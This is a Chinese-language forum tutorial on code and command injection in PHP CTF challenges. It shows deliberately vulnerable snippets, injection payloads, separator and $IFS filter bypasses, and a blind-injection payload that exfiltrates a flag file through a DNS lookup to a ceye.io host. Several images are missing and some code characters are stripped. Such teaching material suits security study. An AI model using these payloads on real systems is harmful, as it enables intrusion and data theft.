標題:CTF 中的命令執行漏洞

taibeihacker

Moderator

CTF 中的命令执行漏洞相关​

由於沒有針對代碼中可執行的特殊函數入口做過濾,導致用戶可以提交惡意語句,並交由服務器端執行。
代碼/命令注入攻擊中Web 服務器沒有過濾類似system()、eval()、exec() 等函數的傳入參數是該漏洞攻擊成功的最主要原因。

1 代码注入​

1.1 相关函数​

1.1.1 eval​

1
2
3
4
5
?php
hilight_file(__FILE__);
$a='phpinfo();';
eval($a);
?

1.1.2 assert​

20190114154122.png-water_print

1.1.3 call_user_func​

20190114154625.png-water_print

可以使用is_callable 函數查看是否可以被回調

1.1.4 call_user_func_array​

20190114154922.png-water_print

1.1.5 create_function​

20210114155018.png-water_print

1.1.6 preg_replace​

20210114155342.png-water_print

搜索subject 中匹配pattern 的部分, 以replacement 或其執行結果進行替換。

1.1.7 array_map​

20190114160430.png-water_print

payload:url?a=assertb=phpinfo()

1.1.8 usort​

20190114160801.png-water_print

Payload:url?1[]=phpinfo()1[]=1232=assert

1.1.9 uasort​

20190114162913.png-water_print

1.1.10 ${php 代码}​

20190114163026.png-water_print

1.2 DEMO​

1
2
3
4
5
6
7
?php
hightlight_file(__FILE__);
$price=$_GET['price'];
$code='echo $name'. '的價格是'. $price. ';';
$b=create_function('$name', $code);
$b('iPhone');
?
Payload:url?price=123;}phpinfo();/*

2 命令注入​

2.1 相关函数​

2.1.1 system​

20190114191146.png-water_print

2.1.2 exec​

20190114191300.png-water_print

2.1.3 passthru​

20190114191328.png-water_print

2.1.4 shell_exec​

20190114191425.png-water_print

2.1.5 `` 运算符​

20190114191642.png-water_print

2.1.6 ob_start​

20190114191719.png-water_print

2.2 命令执行的绕过​

2.2.1 命令执行的分隔符​

例如:
1
2
3
4
5
?php
highlight_file(__FILE__);
$rce='echo 123';
system($rce. $_GET[1]);
?
如何實現命令執行
換行符%0a
回車符%0d
連續指令;
後台進程
管道符|
邏輯||、

2.2.2 命令执行的分隔符​

符號
$IFS
${IFS}
$IFS$9
%09 用於url傳遞
${9}

2.2.3 其它 Tips​

2.2.3.1 命令拼接​

1
$a=l;$b=s;$a$b

2.2.3.2 base64 编码​

1
`echo cHdk | base64 -D`

2.2.3.3 substr string pos len​

該表達式是從string 中取出從pos 位置開始長度為len 的子字符串。如果pos 或len 為非正整數時,將返回空字符串。
echo “${PATH:0:1}” - /
20190114193636.png-water_print

1
2
3
echo '`expr\$IFS\substr\\$IFS\\$(pwd)\\$IFS\1\$IFS\1`'
echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)` - /
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1{$IFS}1
20190114193731.png-water_print

2.3 命令无回显的情况​

2.3.1 判断​

延時
ls|sleep(3)
HTTP 請求
DNS 請求
ceye.io

2.3.2 利用​

寫shell(直接寫入、外部下載)
http/dns 等方式帶出

2.3.3 DEMO​

1
2
3
4
5
6
7
8
?php
highlight_file(__FILE__);
include('where_is_flag.php');
echo 'ping:';
$ip=(string)$_GET['ping'];
$ip=str_replace('', '0.0', $ip);
shell_exec('ping '.$ip);
?
payload:
1
2
ip=;cp where_is_flag.php 1.txt
ip=`cat 1.txt|sed s/[[:space:]]//`.xx.ceye.io
技巧
cat 1.txt|sed s//[[:space:]]//g 是去除空格的作用
 
返回
上方